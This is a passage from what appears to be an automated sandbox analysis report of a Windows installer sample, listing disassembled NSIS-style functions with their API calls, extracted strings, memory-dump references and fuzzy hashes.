                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                            • String ID:
                                            • API String ID: 2320649405-0
                                            • Opcode ID: 6e8c2a3615f2505a185ac55974dadb6ac4ac18c0c35a8d3832bbfc0dda71d657
                                            • Instruction ID: fd505c26376d0b004dab163c32b6598f7c3f39bfa23b8c101552dd0b32be6230
                                            • Opcode Fuzzy Hash: 6e8c2a3615f2505a185ac55974dadb6ac4ac18c0c35a8d3832bbfc0dda71d657
                                            • Instruction Fuzzy Hash: 931166B15007446BC7219F68DE08B5BBFFCAF05715F05892DF886E22A0D774DA48CB54
                                            Function 00402A2F Relevance: 10.6, APIs: 7, Instructions: 91memoryfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402A83
                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,?,00000000), ref: 00402AA0
                                            • GlobalFree.KERNEL32(?), ref: 00402AD7
                                            • WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00402AEB
                                            • GlobalFree.KERNEL32(00000000), ref: 00402AF2
                                            • CloseHandle.KERNEL32(?), ref: 00402B09
                                            • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402B1C
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                            • String ID:
                                            • API String ID: 3294113728-0
                                            • Opcode ID: 2a415ac0b65e7ed1e85d085157a57941f96e69fc1561960092c6122626d45b92
                                            • Instruction ID: 9e4a56611826f2756eb4244239c06745681650eb98283bcdfa384ecb69a0f049
                                            • Opcode Fuzzy Hash: 2a415ac0b65e7ed1e85d085157a57941f96e69fc1561960092c6122626d45b92
                                            • Instruction Fuzzy Hash: 13219832D00114BBCB216FA5DE49E9F7F79DF49724F10423AF925761E1CB7848119BA8
                                            Function 00404A73 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(00447D88,00424D76,74DF23A0,00000000), ref: 00404AAB
                                            • lstrlenW.KERNEL32(0040304D,00447D88,00424D76,74DF23A0,00000000), ref: 00404ABB
                                            • lstrcatW.KERNEL32(00447D88,0040304D), ref: 00404ACE
                                            • SetWindowTextW.USER32(00447D88,00447D88), ref: 00404AE0
                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404B06
                                            • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00404B20
                                            • SendMessageW.USER32(?,00001013,?,00000000), ref: 00404B2E
                                              • Part of subcall function 004060CA: GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00424D76,74DF23A0,00000000), ref: 0040619B
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
                                            • String ID:
                                            • API String ID: 2740478559-0
                                            • Opcode ID: 141fa25f867edaa8b9051ab2f09e4248f19e9da238f05a8cd45e618e6a3e53c0
                                            • Instruction ID: 484fc1ca55a69b1daf8ef76b765ed66def062ae06368be70f68da4f473989c37
                                            • Opcode Fuzzy Hash: 141fa25f867edaa8b9051ab2f09e4248f19e9da238f05a8cd45e618e6a3e53c0
                                            • Instruction Fuzzy Hash: A221B3B1900518BADF119F65DC84E9EBFB9FF84314F10413AFA04B22A0C7788A80DF58
                                            Function 00405AE7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71COMMON
                                            Download Yara Rule
                                            APIs
                                            • CharNextW.USER32(?,*?|<>/":,00000000,004E00C8,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B4A
                                            • CharNextW.USER32(?,?,?,00000000), ref: 00405B59
                                            • CharNextW.USER32(?,004E00C8,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B5E
                                            • CharPrevW.USER32(?,?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B72
                                            Strings
                                            • "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe", xrefs: 00405AF1
                                            • *?|<>/":, xrefs: 00405B39
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Char$Next$Prev
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$*?|<>/":
                                            • API String ID: 589700163-939116114
                                            • Opcode ID: b7b5818da4b4a2654bbca5167226ce5d18b2b6f4b0368041995d2741e331b462
                                            • Instruction ID: 31febb90154ecf465c6c3fd58460301c566faf6ecd06643fefb4dc305e878468
                                            • Opcode Fuzzy Hash: b7b5818da4b4a2654bbca5167226ce5d18b2b6f4b0368041995d2741e331b462
                                            • Instruction Fuzzy Hash: B9118E15810A1599CB30BB298840E7BB7F8EE95750750853FED85B32C1E778BC81CABD
                                            Function 0040434F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0040436A
                                            • GetMessagePos.USER32 ref: 00404372
                                            • ScreenToClient.USER32(?,?), ref: 0040438A
                                            • SendMessageW.USER32(?,00001111,00000000,?), ref: 0040439C
                                            • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004043C2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Message$Send$ClientScreen
                                            • String ID: f
                                            • API String ID: 41195575-1993550816
                                            • Opcode ID: 0fd0a508c23a1f4cc7d109850199a12f342c67c69df64cb0c481c89d05409d64
                                            • Instruction ID: 785f0416c38af9d8ad27fcbae1db7caa358ffe27c450e4d5cf04d3572e5fe4cd
                                            • Opcode Fuzzy Hash: 0fd0a508c23a1f4cc7d109850199a12f342c67c69df64cb0c481c89d05409d64
                                            • Instruction Fuzzy Hash: B0017171A4021DBAEB00DBA4DD85FEEBBBCAF55714F10012BFB50B61D0C7B49A418B65
                                            Function 00402DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DD2
                                            • MulDiv.KERNEL32(00029400,00000064,00159690), ref: 00402DFD
                                            • wsprintfW.USER32 ref: 00402E0D
                                            • SetWindowTextW.USER32(?,?), ref: 00402E1D
                                            • SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E2F
                                            Strings
                                            • verifying installer: %d%%, xrefs: 00402E07
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Text$ItemTimerWindowwsprintf
                                            • String ID: verifying installer: %d%%
                                            • API String ID: 1451636040-82062127
                                            • Opcode ID: a052d906e27c43246bcc9f1aeeeeed0a4803bb8fb5ea3e7766d01d4d8a37771c
                                            • Instruction ID: aa47155a64d8ebbb4a0163e37034f34a23c06eccf97bc0b219fefb1598c68ac6
                                            • Opcode Fuzzy Hash: a052d906e27c43246bcc9f1aeeeeed0a4803bb8fb5ea3e7766d01d4d8a37771c
                                            • Instruction Fuzzy Hash: 25014470640108BBDF109F64DD49FAE3BA9AB04304F004139FA06A51E0DBB989558F58
                                            Function 00401497 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014B9
                                            • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014F5
                                            • RegCloseKey.ADVAPI32(?), ref: 004014FE
                                            • RegCloseKey.ADVAPI32(?), ref: 00401523
                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00401541
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Close$DeleteEnumOpen
                                            • String ID:
                                            • API String ID: 1912718029-0
                                            • Opcode ID: 9a7fa1e295040e987171b31cb3058b13b4927fc82cebbafdfd6fdbcfdef2d769
                                            • Instruction ID: 18dccf383a29a435c3c5d53fdb083507bb3959694e3d248e427a957da49423c4
                                            • Opcode Fuzzy Hash: 9a7fa1e295040e987171b31cb3058b13b4927fc82cebbafdfd6fdbcfdef2d769
                                            • Instruction Fuzzy Hash: B8113776500108FBDF119FA0DE85AAE3B7DEB45348F00443AF90AB51B0D7359E94AE69
                                            Function 004020AF Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetFileVersionInfoSizeW.VERSION(00000000,?), ref: 004020BF
                                            • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?), ref: 004020E0
                                            • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 004020F8
                                            • VerQueryValueW.VERSION(?,004082C8,?,?,?,00000000,00000000,00000000), ref: 00402111
                                              • Part of subcall function 004059FF: wsprintfW.USER32 ref: 00405A0C
                                            • GlobalFree.KERNEL32(005CB9E0), ref: 00402139
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
                                            • String ID:
                                            • API String ID: 3376005127-0
                                            • Opcode ID: 1fcda80dc11e1363c08de8126c867463e0ce0b74cafb0b4a8e36d66cc7975c69
                                            • Instruction ID: ca10dc8ef845363045b229a4896d1fbdc02f34fd782a724fb491659cb49530f2
                                            • Opcode Fuzzy Hash: 1fcda80dc11e1363c08de8126c867463e0ce0b74cafb0b4a8e36d66cc7975c69
                                            • Instruction Fuzzy Hash: 11116A72900204ABDB11ABA5DE08A9E77B9AF04354F108136F605FA1E0EB78D940CB58
                                            Function 00401D76 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageTimeoutW.USER32(00000000,00000000,?,?,00000000,00000002,?), ref: 00401DDF
                                            • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401DF7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$Timeout
                                            • String ID: !
                                            • API String ID: 1777923405-2657877971
                                            • Opcode ID: 0a2216d3efa57a78be66af89e8cb1db1661eab1c73c2f6238fd6ec7ea61d154f
                                            • Instruction ID: 2bd8fc9b8c4150d32bad90dfffc0448b15bb1a7470975d4e46508bb72c72871e
                                            • Opcode Fuzzy Hash: 0a2216d3efa57a78be66af89e8cb1db1661eab1c73c2f6238fd6ec7ea61d154f
                                            • Instruction Fuzzy Hash: 77216071940218AADB15AFB4C946BFD7BB5EF05309F10857EFA02B50E1D77C8A809758
                                            Function 00403F13 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(0044FD98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,0044FD98,?), ref: 00403FB0
                                            • wsprintfW.USER32 ref: 00403FBD
                                            • SetDlgItemTextW.USER32(?,0044FD98,000000DF), ref: 00403FD0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: ItemTextlstrlenwsprintf
                                            • String ID: %u.%u%s%s
                                            • API String ID: 3540041739-3551169577
                                            • Opcode ID: 7463db91dfc42c9920fcb0c5be4cc11050eaef945611b5cb4dc0a4985e01960d
                                            • Instruction ID: 5fad3c86b264af19ee74e6bf29dedfa0a61a2e47495169cbabc6e73bcd4b5a17
                                            • Opcode Fuzzy Hash: 7463db91dfc42c9920fcb0c5be4cc11050eaef945611b5cb4dc0a4985e01960d
                                            • Instruction Fuzzy Hash: 12117D32B002087BCB10DB699D41E9E766EEBD5338F10423BF519F31E0EA388A15875C
                                            Function 00406042 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5
                                              • Part of subcall function 00405807: CharNextW.USER32(?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",0045FE18,?,00406059,0045FE18,0045FE18,le@,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000002,0040656C,?,004E00C8), ref: 00405815
                                              • Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 0040581A
                                              • Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 00405832
                                            • lstrlenW.KERNEL32(0045FE18,?,00000000,0045FE18,0045FE18,le@,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000002,0040656C,?,004E00C8), ref: 004060A3
                                            • GetFileAttributesW.KERNEL32(0045FE18,0045FE18), ref: 004060B0
                                            Strings
                                            • "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe", xrefs: 00406043
                                            • le@, xrefs: 00406044
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
